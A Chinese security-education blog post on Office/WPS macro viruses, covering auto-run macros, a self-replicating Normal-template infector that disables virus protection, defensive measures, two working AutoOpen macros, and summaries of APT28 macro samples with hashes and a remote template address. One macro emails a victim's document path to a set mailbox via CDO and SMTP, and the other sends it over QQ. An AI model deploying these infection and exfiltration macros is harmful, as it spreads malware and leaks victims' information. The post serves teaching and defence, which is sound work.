[系统安全] 十九.宏病毒之入门基础、防御措施、自发邮件及APT28宏样本分析

您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列。因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全、逆向分析和恶意代码检测,“系统安全”系列文章会更加聚焦,更加系统,更加深入,也是作者的慢慢成长史。换专业确实挺难的,逆向分析也是块硬骨头,但我也试试,看看自己未来四年究竟能将它学到什么程度,漫漫长征路,偏向虎山行。享受过程,一起加油~

作者前文介绍了病毒原理和防御知识,并通过批处理代码和漏洞(CVE-2018-20250)利用让大家感受下病毒攻击的过程,提出了安全相关建议;这篇文章将详细讲解宏病毒相关知识,它仍然活跃于各个APT攻击样本中,具体内容包括宏病毒基础原理、防御措施、自发邮件及APT28样本分析。 这些基础性知识不仅和系统安全相关,同样与我们身边常用的软件、文档、操作系统紧密联系,希望这些知识对您有所帮助,更希望大家提高安全意识,安全保障任重道远。本文参考了参考文献中的文章,并结合自己的经验和实践进行撰写,也推荐大家阅读参考文献。

文章目录

  • 一.什么是宏
    • 1.基础概念
    • 2.安装配置
    • 3.录制新宏案例
  • 二.宏病毒
    • 1.宏病毒基础
    • 2.自动宏案例
    • 3.宏病毒感染
  • 三.宏病毒的自我保护与防御
  • 四.案例:CDO自发邮箱
  • 五.案例:QQ发送信息
  • 六.APT28攻击中的宏病毒
    • 1.OZ鱼叉邮件
    • 2.酒店行业鱼叉邮件
    • 3.研究机构鱼叉邮件
  • 七.总结

从2019年7月开始,我来到了一个陌生的专业——网络空间安全。初入安全领域,是非常痛苦和难受的,要学的东西太多、涉及面太广,但好在自己通过分享100篇“网络安全自学”系列文章,艰难前行着。感恩这一年相识、相知、相趣的安全大佬和朋友们,如果写得不好或不足之处,还请大家海涵!

接下来我将开启新的安全系列,叫“系统安全”,也是免费的100篇文章,作者将更加深入的去研究恶意样本分析、逆向分析、内网渗透、网络攻防实战等,也将通过在线笔记和实践操作的形式分享与博友们学习,希望能与您一起进步,加油~

  • 推荐前文:网络安全自学篇系列-100篇

作者的github资源:

  • 逆向分析:https://github.com/eastmountyxz/SystemSecurity-ReverseAnalysis
  • 网络安全:https://github.com/eastmountyxz/NetworkSecuritySelf-study

前文分析:

  • [系统安全] 一.什么是逆向分析、逆向分析基础及经典扫雷游戏逆向
  • [系统安全] 二.如何学好逆向分析及吕布传游戏逆向案例
  • [系统安全] 三.IDA Pro反汇编工具初识及逆向工程解密实战
  • [系统安全] 四.OllyDbg动态分析工具基础用法及Crakeme逆向
  • [系统安全] 五.OllyDbg和Cheat Engine工具逆向分析植物大战僵尸游戏
  • [系统安全] 六.逆向分析之条件语句和循环语句源码还原及流程控制
  • [系统安全] 七.逆向分析之PE病毒原理、C++实现文件加解密及OllyDbg逆向
  • [系统安全] 八.Windows漏洞利用之CVE-2019-0708复现及蓝屏攻击
  • [系统安全] 九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度提权
  • [系统安全] 十.Windows漏洞利用之SMBv3服务远程代码执行漏洞(CVE-2020-0796)复现
  • [系统安全] 十一.那些年的熊猫烧香及PE病毒行为机理分析
  • [系统安全] 十二.熊猫烧香病毒IDA和OD逆向分析(上)病毒初始化
  • [系统安全] 十三.熊猫烧香病毒IDA和OD逆向分析(中)病毒释放机理
  • [系统安全] 十四.熊猫烧香病毒IDA和OD逆向分析–病毒释放过程(下)
  • [系统安全] 十五.Chrome浏览器保留密码功能渗透解析、蓝屏漏洞及某音乐软件漏洞复现
  • [系统安全] 十六.PE文件逆向基础知识(PE解析、PE编辑工具和PE修改)
  • [系统安全] 十七.Windows PE病毒概念、分类及感染方式详解
  • [系统安全] 十八.病毒攻防机理及WinRAR恶意劫持漏洞(脚本病毒、自启动、定时关机、蓝屏攻击)
  • [系统安全] 十九.宏病毒之入门基础、防御措施、自发邮件及APT28宏样本分析

声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。该样本不会分享给大家,分析工具会分享。(参考文献见后)


一.什么是宏

1.基础概念

宏(Macro)是一种批量处理的称谓,是指能组织到一起作为独立的命令使用的一系列Word命令,可以实现任务执行的自动化,简化日常的工作。Microsoft Office使用Visual Basic for Applications(VBA)进行宏的编写。

大家可能接触到的宏并不多,但如果经常使用Word文档时,可能会遇到宏,比如国家自然科学基金申请,或者作者之前分享的宏技巧。文章如下:

  • [Office] WPS Excel通过添加宏实现多张表格合并
  • [黑科技] WPS通过VB宏函数实现自编号功能

注意,在Office中可以直接使用Word的宏函数,而WPS需要安装相关的软件后才能使用。打开WPS Word如下图所示,宏是不能使用的。

在这里插入图片描述


2.安装配置

这时需要下载VBA for WPS并安装才能使用(下载地址为第19篇)。下载安装如下图所示:

  • https://github.com/eastmountyxz/SystemSecurity-ReverseAnalysis

在这里插入图片描述

安装完后可以设置宏函数,如下图所示:

在这里插入图片描述

点击"宏",然后"创建"宏函数,如下图所示,取名为test。

在这里插入图片描述

创建后如下图所示,可以看到是VB代码进行编写的。

在这里插入图片描述

代码示例如下:

Sub test()
'
' test Macro
'
    Dim sLineNum3 As String     '行号(文字)
    Dim nLineNum                '行号(数值)
    Dim i As Long
 
    Title = "输入编号信息"
    a1 = "请输入总编号开始号:"
    b1 = InputBox(a1, Title)
End Sub

WPS可以保存为带宏函数的格式,如下图所示。

在这里插入图片描述

然后运行宏函数如下图所示,点击"运行"即可,如下图所示。

在这里插入图片描述

运行结果如下图所示,弹出界面输入:

在这里插入图片描述


3.录制新宏案例

第一步,降低宏的安全性。
宏的默认安全性非常高,有时会导致宏程序不会自动执行,我们可以修改降低其安全性。

在这里插入图片描述

第二步,设置字体隐藏。
假设我们现在有这样一个需求,要将文档中的内容隐藏。怎么做呢?传统方法是全选文字,然后设置字体隐藏,如下图所示。

在这里插入图片描述

如果需要查看文字再进行还原,这些小技巧往往会隐藏在病毒或木马中。那么,我们是否可以将这隐藏和还原两个操作用两个快捷键关联起来呢?下次再进行相关操作时,会变得更加简洁。

在这里插入图片描述

第三步,点击录制新宏。

在这里插入图片描述

第四步,将刚才的操作执行一遍,全选文字然后隐藏,然后点击停止录制。

在这里插入图片描述

此时,可以看到我们新创建的宏MacroHide。

在这里插入图片描述

第五步,再录制一个显示的新宏MacroShow。

在这里插入图片描述

显示之后我们停止录制。

在这里插入图片描述

第六步,绑定快捷键。
如果是在Office中,可以直接选择对应的快捷键,但WPS设置不同。

在这里插入图片描述

WPS设置如下:点击“文件”->“选项”,在“选项”界面最左侧找到并点击“自定义功能区”,选择“自定义”按钮。

在这里插入图片描述

设置快捷键如下:

  • MacroHide对应Ctrl+Shift+H
  • MacroShow对应Ctrl+Shift+S

在这里插入图片描述

此时,功能已经实现,当我们按下“Ctrl+Shift+H”时,文字隐藏,按下“Ctrl+Shift+S”时文字显示。

在这里插入图片描述

当然宏可以更加复杂,接下来我们将介绍。同时,怎么去查看宏代码呢?通过VB编辑器能够查看宏代码,如下图所示。

在这里插入图片描述

在Normal下的模块=>NewMacros有我们刚刚编辑的两个宏。

在这里插入图片描述

该代码的核心内容如下:

  • Selection.WholeStory 全选功能
  • Selection.Font 字体设置
  • Hidden = 1 隐藏属性设置为True
Sub MacroHide()
'
' MacroHide Macro
' 宏由 xiuzhang 录制,时间: 2020/04/20
'
    Selection.WholeStory
    With Selection.Font
        .Underline = wdUnderlineNone
        .EmphasisMark = wdEmphasisMarkNone
        .Hidden = 0
        .Shadow = 0
        .Outline = 0
        .Emboss = 0
        .Engrave = 0
        .Scaling = 100
        .Scaling = 100
        .Hidden = 1
        .Hidden = 1
    End With
End Sub

二.宏病毒

1.宏病毒基础

那么,什么又是宏病毒呢?
宏病毒是一种寄存在文档或模板的宏中的计算机病毒,存在于数据文件或模板中(字处理文档、数据表格、数据库、演示文档等),使用宏语言编写,利用宏语言的功能将自己寄生到其他数据文档。

最早的时候,人们认为数据文档是不可能带有病毒的,因为数据文档不包含指令,直到宏病毒出现才改变大家的看法。当我们打开这样的文档,其中的宏就会被执行,于是宏病毒就会被激活,转移到计算机上,并驻留在Normal模板上。从此以后,所有自动保存的文档都会“感染”上这种宏病毒,而且如果其他用户打开了感染病毒的文档,宏病毒又会转移到他的计算机上。

那么,宏病毒又如何获得这些控制权呢?
只有拿到控制前之后宏病毒才能进行传播。它和Office的特性相关,Office支持一些自动执行的宏,如果将病毒代码放到自动执行的宏中,Word打开时会给病毒传播创造条件。利用自动执行宏将病毒代码写在宏汇中,由于这些宏会自动执行,从而获取控制权。

(1) WORD

  • AutoOpen:打开Word文档
  • AutoClose:关闭Word文档
  • AutoExec:打开Word程序(Word文档和Word程序区别)
  • AutoExit:退出Word程序
  • AutoNew:新建宏

(2) EXCEL

  • Auto_Open
  • Auto_Close
  • Auto_Activate
  • Auto_Deactivate

(3) Office97/2000

  • Document_Open
  • Document_Close
  • Document_New

2.自动宏案例

我们通过VB编辑器增加宏代码,定义了五个自动宏。

  • 第一个是新建文件:AutoNew
  • 第二个是退出程序:AutoExit
  • 第三个关闭文档:AutoClose
  • 第四个打开文档:AutoExec
  • 第五个打开程序:AutoExec

注意,程序指WPS或Office,一个程序可以打开或创建多个文档,他们存在一定区别。同样,它们的权限也有区别。

在这里插入图片描述

代码如下:

Sub AutoOpen()
  MsgBox "您好,您打开了Word文档!", 0, "宏病毒测试"
End Sub

Sub AutoExec()
  MsgBox "您好,您打开了Word程序!", 0, "宏病毒测试"
End Sub

Sub AutoNew()
  MsgBox "您好,您选择了新建文件!", 0, "宏病毒测试"
End Sub

Sub AutoExit()
  MsgBox "欢迎下次光临!", 0, "宏病毒测试"
End Sub

Sub AutoClose()
  MsgBox "下次还要来哦!", 0, "宏病毒测试"
End Sub

Sub MyFirstVBAProcedure()
    Dim NormProj
    MsgBox "欢迎光临XXXXXX安全实验室!", 0, "宏病毒测试"
    Set NormProj = NormalTemplate.VBProject
    MsgBox NormProj.Name, 0, "模块文件名"    '显示模板文件的名字
    With Assistant.NewBalloon           '调出助手
        .Icon = msoIconAlert
        .Animation = msoAnimationGetArtsy
        .Heading = "Attention,Please!"
        .Text = "Today I turn into a martian!"
        .Show
    End With
End Sub

当我们打开Word时,会提示我们安全警告,选择“启用宏”。

在这里插入图片描述

此时会提示一个打开Word文档的对话框,表示AutoOpen宏自启动。

在这里插入图片描述

当我们关闭程序会提示如下对话框。

在这里插入图片描述

如果我们想要查看宏的具体定义,可以查看定义的函数,如下图所示,也可以在工具栏中选择VB编辑器查看代码。

在这里插入图片描述

当我们执行某个函数,会有对应的执行效果。比如弹出“宏病毒测试”对话框。

在这里插入图片描述

你可能会疑惑,为什么只弹出了两个对话框呢?
因为宏包括两种类型——局部宏和全局宏。而退出Word程序和进入Word程序不是当前文档能定义的。其他三个宏无法起到作用,我们需要将它们复制到Normal模块中才能运行。


3.宏病毒感染

在Word和其他微软Office系列办公软件中,宏分为两种。

  • 内建宏:局部宏,位于文档中,对该文档有效,如文档打开(AutoOpen)、保存、打印、关闭等
  • 全局宏:位于office模板中,为所有文档所共用,如打开Word程序(AutoExec)

宏病毒的传播路线如下:

  • 单机:单个Office文档 => Office文档模板 => 多个Office文档(文档到模块感染)
  • 网络:电子邮件居多

首先Office文档被感染病毒,当文档打开会执行自动宏,如果宏被执行,它会去检测当前模板是否被感染病毒,如果没有被感染,它会将释放自身的病毒代码。当模板被感染之后,系统中任何一个文档被打开,都会执行模板中的病毒,宏病毒进行传播。

宏病毒的感染方案就是让宏在这两类文件之间互相感染,即数据文档、文档模板。 下面是《软件安全》课程的示例图。

在这里插入图片描述

注意,宏代码是可以调试的。

在这里插入图片描述

完整代码如下:

Sub test()
    'On Error Resume Next
    Application.DisplayAlerts = wdAlertsNone
    Application.EnableCancelKey = wdCancelDisabled
    Application.DisplayStatusBar = False
    Options.VirusProtection = False
    Options.SaveNormalPrompt = False        '以上是病毒基本的自我保护措施
    Set Doc = ActiveDocument.VBProject.VBComponents
    '取当前活动文档中工程组件集合
    Set Tmp = NormalTemplate.VBProject.VBComponents
    '取Word默认模板中工程组件集合
    Const ExportSource = "c:\jackie.sys"
    Const VirusName = "AIGTMV1"               '该字符串相当于一个病毒感染标志
    Application.VBE.ActiveVBProject.VBComponents(VirusName).Export ExportSource
                                 '将当前病毒代码导出到c:\jackie.sys文件保存
                                 
    For i = 1 To Tmp.Count
        If Tmp(i).Name = VirusName Then TmpInstalled = 1
     '检查模板是否已经被感染病毒
    Next i
    
    For j = 1 To Doc.Count
        If Doc(j).Name = VirusName Then DocInstalled = 1
                                     '检查当前活动文档是否已被感染病毒
    Next j
    If TmpInstalled = 0 Then                 '如果模板没有被感染,对其进行感染
        Tmp.Import ExportSource              '从c:\jackie.sys将病毒导入模板
        NormalTemplate.Save                  '自动保存模板,以免引起用户怀疑
 
    End If
    If DocInstalled = 0 Then                 '如果当前活动文档没有被感染
        Doc.Import ExportSource              '从c:\jackie.sys将病毒导入当前活动文档
        ActiveDocument.SaveAs ActiveDocument.FullName '自动保存当前活动文档
    End If
    MsgBox "Word instructional macro by jackie", 0, "Word.APMP"
End Sub

宏病毒也可以通过网络进行传播,譬如电子邮件。

  • Mellisa病毒:自动往OutLook邮件用户地址簿中的前50位用户发送病毒副本
  • “叛逃者”病毒:也集成了感染Office文档的宏病毒感染功能,并且可以通过OutLook发送病毒副本

在这里插入图片描述


三.宏病毒的自我保护与防御

宏病毒的自我保护主要包括三种方法:

(1) 禁止提示信息
On Error Resume Next 如果发生错误,不弹出出错窗口,继续执行下面语句
Application.DisplayAlerts = wdAlertsNone 不弹出警告窗口
Application.DisplayStatusBar = False 不显示状态栏,以免显示宏的运行状态
Options.VirusProtection = False 关闭病毒保护功能,运行前如果包含宏,不提示

(2) 屏蔽命令菜单,不允许查看宏

  • 通过特定宏定义
Sub ViewVBCode()
    MsgBox "Unexcpected error",16
End Sub

ViewCode:该过程和ViewVBCode函数一样,如果用户按工具栏上的小图标就会执行这个过程。

  • Disable或者删除特定菜单项
    用来使“工具—宏”菜单失效的语句
    CommandBars(“Tools”).Controls(16).Enabled = False

(3) 隐藏宏的真实病毒代码
在“自动宏”中,不包括任何感染或破坏的代码,但包含了创建、执行和删除新宏(实际进行感染和破坏的宏)的代码;将宏代码字体颜色设置成与背景一样的白色等。


宏病毒的防御措施包括:

  • 一旦发现计算机Office软件打开后弹出系统警告框,并且无法“另存为”,就表示该文件已感染宏病毒,此时不能再打开其他文件,否则病毒也会感染,应马上关闭删除该文件。若文件重要不能删除,则需用杀毒软件全盘扫面,处理感染文件。
  • 开启禁用宏进行防止再次感染病毒。在“受信任位置”中,删除“可靠来源”列表框中的不安全来源,根据实际情况设置是否信任所有安装的加载项和模板,设置宏的安全性。

在这里插入图片描述

  • 安装杀毒软件,打全系统补丁是预防计算机病毒的基本措施,当然也适用于宏病毒,除此这些常规手段之外,宏病毒还有专门的防治措施。
  • 在线沙箱检测文档是否宏病毒。

四.案例:CDO自发邮箱

接下来我们制作一个宏,当对方打开文档时就知道该文档在对方电脑存储的具体路径。常见方法包括:

  • 邮件组件,如CDO组件
  • 远程脚本

这里采用CDO自发邮件实现。通过Word VB编写脚本,设置文档打开时运行,利用CDO发送电子邮件将文件的路径和名字发送到指定邮箱中。具体步骤如下:

  • 1) 利用AutoOpen执行并打开文档时运行
  • 2) 利用WordObj.ActiveDocument获取文件信息
  • 3) 利用CDO实现电子邮件实现信息传递

注意,千万别小瞧这个功能,如果是一封钓鱼邮件或运行宏病毒自动采集个人电脑信息发送至指定邮件,其危害性非常大,而且该攻击手段广泛存在于许多亚洲APT组组中。

参考文献:

  • 宏病毒+使用CDO自动发邮件 - 良月廿七
  • word宏病毒通过邮件获取路径和文件名 - Braylon1002
  • 宏的基本概念与使用 - WHU MOOC
  • 宏&一个简单的宏病毒示例 - Erio

定义的宏函数为AutoOpen,如下图所示:

在这里插入图片描述

核心代码如下所示:

在这里插入图片描述

完整代码如下,包括获取文件夹路径、定义邮件地址、添加CDO库、设置微软服务器、CDO邮件参数设置、发送数据

Sub AutoOpen()
' AutoOpen宏
' By: CSDN Eastmount 2020-04-21
    
    ' 获取文件夹路径
    Dim WordObj As Object
    Dim Doc As Object
    Set WordObj = GetObject(, "Word.Application")
    Set Doc = WordObj.ActiveDocument
    MsgBox (Doc.Path)
    
    ' 定义邮件地址
    Const from1 = "152xxxxxxxx@163.com"
    Const to1 = "xxxxxxxxxx@qq.com"
    Const password = "xxxxxxxxxx"
    
    ' 添加CDO库
    Set CDO = CreateObject("CDO.Message")
    CDO.from = from1
    CDO.to = to1
    CDO.Subject = Doc.Name
    CDO.Textbody = Doc.Path
    
    ' 微软服务器网址
    MsgBox ("发送邮件")
    Const proxyUrl = "http://schemas.microsoft.com/cdo/configuration/"
    With CDO.Configuration.Fields
        .Item(proxyUrl & "sendusing") = 2                     '发送端口
        .Item(proxyUrl & "smtpserver") = "smtp.163.com"       'SMTP服务器地址
        .Item(proxyUrl & "smtpserverport") = 25               'SMTP服务器端口
        .Item(proxyUrl & "smtpauthenticate") = 1              '是否开启用户名密码验证
        .Item(proxyUrl & "sendusername") = from1              '发送方邮箱名称
        .Item(proxyUrl & "sendpassword") = password           '发送方邮箱密码
        .Item(proxyUrl & "smtpusessl") = True                 '是否使用ssl协议
        .Item(proxyUrl & "smtpconnectiontimeout") = 60        '时延
        .Update
    End With
    
    ' 发送数据
    CDO.Send
    Set CDO = Nothing
    MsgBox ("成功!")
End Sub

当test04.doc文件打开时,它会自动运行,其结果如下图所示:

在这里插入图片描述

接着对话框提示发送邮件。

在这里插入图片描述

最终邮件通过宏病毒发送成功。

在这里插入图片描述

下图可见,成功将Word稳定打开的路径地址发送到了目标邮箱,如果宏病毒再获取更详细的信息或文件,是否也能发送到指定邮箱呢?这样的恶意代码仍需要重视。

[系统安全] 十九.宏病毒之入门基础、防御措施、自发邮件及APT28宏样本分析_第1张图片

注意事项及常见错误:
(1) 如果在撰写宏病毒过程中,出现“缺少:列表分隔符或)”,我们需要进行调试及修改。

在这里插入图片描述

(2) 如果提示“邮件无法发送到SMTP服务器,传输错误代码为 0x80040217。服务器响应为 not available”,则需要开启STMP授权。

在这里插入图片描述

CDO发送邮件时需要开启邮件的stmp授权代理,网易邮箱163设置方法如下图所示:

在这里插入图片描述

如果腾讯邮箱要开启SMTP/POP3服务,则将生成的授权码当作邮箱登陆密码来进行邮件发送,注意设置的是授权码而不是密码。

在这里插入图片描述

在这里插入图片描述

(3) 如果wps报429 ActiveX不能创建对象 ,则解决方法参考:

  • https://www.cnblogs.com/pyman/p/7918484.html

五.案例:QQ发送信息

接着通过QQ发送信息来制作宏病毒,并获取对方电脑存储的具体路径。具体流程:

  • 获取文件路径
  • 将路径复制至剪贴板
  • 发送QQ消息
  • 通过sendkeys输入ctrl+V发送粘贴内容

注意,腾讯WebQQ停止运营了,且不好获取QQ的聊天窗口句柄,才采用了该方法。该部分主要参考师弟的代码,再次感谢。

完整宏代码如下:

Sub AutoOpen()
    ' 获取文件路径
    DocPath = ActiveDocument.Path
    DocName = ActiveDocument.Name
    Text1 = "DocPath:" + DocPath
    Text2 = "DocName:" + DocName
    Result = Text1 + Text2
    MsgBox (Result)
    
    ' 将内容送入剪贴板
    With CreateObject("new:{
    1C3B4210-F441-11CE-B9EA-00AA006B1A69}")
        .SetText Result
        .PutInClipboard
    End With
    
    ' 发送QQ消息
    Shell "cmd /c start tencent://Message/?Uin=QQ号码&weName=qzone.qq.com & Menu=yes"
    
    Dim t As Single
    t = Timer
    Do
      DoEvents
    Loop While Timer - t < 2    '搁置2s
    
    ' 粘贴
    SendKeys "^v"
    SendKeys "{ENTER}"
    SendKeys "{ENTER}"
    SendKeys "^{ENTER}"
End Sub

运行代码如下,获取了Word文档的路径。

在这里插入图片描述

此时内容复制至剪贴板,如果输入Ctrl+V,输出内容如下:

在这里插入图片描述

通过下面的命令可以直接打开某个QQ的窗口。

  • cmd /c start tencent://Message/?Uin=QQ号码&weName=qzone.qq.com & Menu=yes

在这里插入图片描述

最终当我们打开Word文档,它会执行自动代码,并向某个QQ号自动发送信息,运行效果如下图所示:

在这里插入图片描述


六.APT28攻击中的宏病毒

最后分享先知社区关于APT28样本的宏病毒分析,和作者的这篇文章基础知识非常相关。如果该部分有不当的地方,可以提醒我删除,感谢。参考文献:

  • APT28样本分析之宏病毒分析

APT28组织是一个与ELS有关的高级攻击团伙,本次分析的是该团伙使用的宏病毒,所有资料均来自互联网。比如,2018年10月到11月OZ外交处理事务组织的鱼叉邮件(paloalto),2017年7月到8月酒店行业的鱼叉邮件(Fireeye),2017年10月MG研究机构的鱼叉邮件(cisco)。

1.OZ鱼叉邮件

  • 文件名称:crash list(Lion Air Boeing 737).docx
  • SHA-256 2cfc4b3686511f959f14889d26d3d9a0d06e27ee2bb54c9afb1ada6b8205c55f
  • 创建时间:2018:09:11 04:22:00Z
  • 文件大小:32.9 KB (33,775 字节)
  • 基本方法
    打开文档会进行远程模板加载,使用这种攻击首先初始文件不会有明显的恶意代码,并且可以收集受害者的IP,一旦攻击成功,就关闭服务器,难以追踪。

首先,远程模板的位置 http://188.241.58.170/live/owa/office.dotm。注意,在分析恶意样本时,千万别访问这些远程链接或文件,很可能中病毒或成为肉鸡。

在这里插入图片描述

通过宏代码分析,发现其没有进行混淆工作,但是这次使用AutoClose,只有文档关闭的时候,恶意代码才会执行。从而会绕过一些不关闭文档的沙箱检测。

在这里插入图片描述

此次宏文件一共会创建两个文件,如下所示,分别是从 UserForm1.Label2.Caption 和 UserForm1.Label1.Caption 中提取出来使用base64编码的恶意文件。

  • Environ(“APPDATA”) “\MSDN” “~msdn”
  • Environ(“TEMP”) “~temp.docm”

在这里插入图片描述

选择UserForm1窗体右键保存后,可以看到里面经过base64编码的恶意文件。

[系统安全] 十九.宏病毒之入门基础、防御措施、自发邮件及APT28宏样本分析_第2张图片
[系统安全] 十九.宏病毒之入门基础、防御措施、自发邮件及APT28宏样本分析_第3张图片

将msdn和temp.docm写入后开始加载temp.docm,再运行temp.docm的Module1.Proc1。

在这里插入图片描述

最后可以看到通过shell运行释放exe。

在这里插入图片描述


2.酒店行业鱼叉邮件

  • 文件名称:Hotel_Reservation_Form.doc
  • SHA-256 a4a455db9f297e2b9fe99d63c9d31e827efb2cda65be445625fa64f4fce7f797
  • 创建时间:2017:07:03 05:33:00Z
  • 文件大小:76.7 KB (78,600 字节)
  • 基本方法
    针对特定的攻击目标对内容进行了定制化处理,样本使用WMI调用
    rundll32.exe启动。

首先,样本运行完如下,可以看到针对特定的攻击目标对内容进行了特定的定制化。

在这里插入图片描述

分析宏代码,发现宏代码是加密过的。

在这里插入图片描述

解密可以看到三个函数,攻击者并没有做太多的混淆,而是将关键的PE文件BASE64编码放到XML文件中,包括:

  • AutoOpen()
  • DecodeBase64(base64)
  • Execute()

获取指定xml节点的信息。

在这里插入图片描述

最后在docProps/app.xml中发现了这个base64编码的文本。

在这里插入图片描述

之后将base64文本文件解码。

在这里插入图片描述

解密后为一个PE文件。

在这里插入图片描述

发现将样本放到APPDATA环境变量的目录下,文件名为user.dat,最后使用了WMI调用rundll32.exe启动。

在这里插入图片描述


3.研究机构鱼叉邮件

  • 文件名称:Conference_on_Cyber_Conflict.doc
  • SHA-256 e5511b22245e26a003923ba476d7c36029939b2d1936e17a9b35b396467179ae
  • 创建时间:2017:10:03 01:36:00
  • 文件大小:333 KB (341,504 字节)
  • 基本方法
    针对特定的攻击目标对内容进行了定制化处理,样本base64解码,设置bat脚本并启动。

样本运行完如下,可以看到针对特定的攻击目标对内容进行了特定的定制化。

在这里插入图片描述

对宏代码进行了加密,解密可以看到三个函数,攻击者并没有做太多的混淆,而是将关键的可执行文件分散放编码放到文件属性中。

  • AutoOpen()
  • DecodeBase64(base64)
  • Execute()

将base64数据放到了word的内置属性中。

在这里插入图片描述

合并获取的编码值并解码。

在这里插入图片描述

最后设置bat脚本,然后启动

在这里插入图片描述

在这里插入图片描述


七.总结

写到这里,这篇宏病毒基础性文章就介绍结束了,包括入门基础、防御措施、自发邮件及APT28样本分析,希望对您有所帮助。后续作者还会继续深入分析宏病毒,并结合实例和防御进行讲解。作者作为网络安全初学者的慢慢成长路吧!希望未来能更透彻撰写相关文章。同时非常感谢参考文献中的安全大佬们的文章分享,感谢小伙伴和师傅们的教导,深知自己很菜,得努力前行。

  • 一.什么是宏
    1.基础概念
    2.安装配置
    3.录制新宏案例
  • 二.宏病毒
    1.宏病毒基础
    2.自动宏案例
    3.宏病毒感染
  • 三.宏病毒的自我保护与防御
  • 四.案例:CDO自发邮箱
  • 五.案例:QQ发送信息
  • 六.APT28攻击中的宏病毒
    1.OZ鱼叉邮件
    2.酒店行业鱼叉邮件
    3.研究机构鱼叉邮件

学安全一年,认识了很多安全大佬和朋友,希望大家一起进步。这篇文章中如果存在一些不足,还请海涵。作者作为网络安全和系统安全初学者的慢慢成长路吧!希望未来能更透彻撰写相关文章。同时非常感谢参考文献中的安全大佬们的文章分享,感谢师傅、实验室小伙伴的教导,深知自己很菜,得努力前行。编程没有捷径,逆向也没有捷径,它们都是搬砖活,少琢磨技巧,干就对了。什么时候你把攻击对手按在地上摩擦,你就赢了,也会慢慢形成了自己的安全经验和技巧。加油吧,少年希望这个路线对你有所帮助,共勉。

欢迎大家讨论,是否觉得这系列文章帮助到您!如果存在不足之处,还请海涵。任何建议都可以评论告知读者,共勉~

  • 逆向分析:https://github.com/eastmountyxz/SystemSecurity-ReverseAnalysis
  • 网络安全:https://github.com/eastmountyxz/NetworkSecuritySelf-study

2020年8月18新开的“娜璋AI安全之家”,主要围绕Python大数据分析、网络空间安全、人工智能、Web渗透及攻防技术进行讲解,同时分享CCF、SCI、南核北核论文的算法实现。娜璋之家会更加系统,并重构作者的所有文章,从零讲解Python和安全,写了近十年文章,真心想把自己所学所感所做分享出来,还请各位多多指教,真诚邀请您的关注!谢谢。

(By:Eastmount 2021-02-04 星期四 凌晨夜于贵阳 http://blog.csdn.net/eastmount/ )


参考文献:
[1] 小伙伴们的分享、《软件安全》课程实验(详见网易云课程WHU)
[2] 宏的基本概念与使用 - WHU MOOC
[3] 宏病毒+使用CDO自动发邮件 - 良月廿七
[4] word宏病毒通过邮件获取路径和文件名 - Braylon1002
[5] 宏&一个简单的宏病毒示例 - Erio
[6] PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors
[7] APT28样本分析之宏病毒分析 - 先知社区
[8] 宏病毒研究2——实战研究篇 - i春秋老师 icq5f7a075d
[9] [Office] WPS Excel通过添加宏实现多张表格合并
[10] [黑科技] WPS通过VB宏函数实现自编号功能
[11] https://www.fireeye.com/blog/threat-research/2017/08/apt28-targets-hospitality-sector.html
[12] https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/
[13] https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html


你可能感兴趣的:(系统安全与恶意代码分析,恶意代码分析,宏病毒,防御措施,ATP攻击,自发邮件)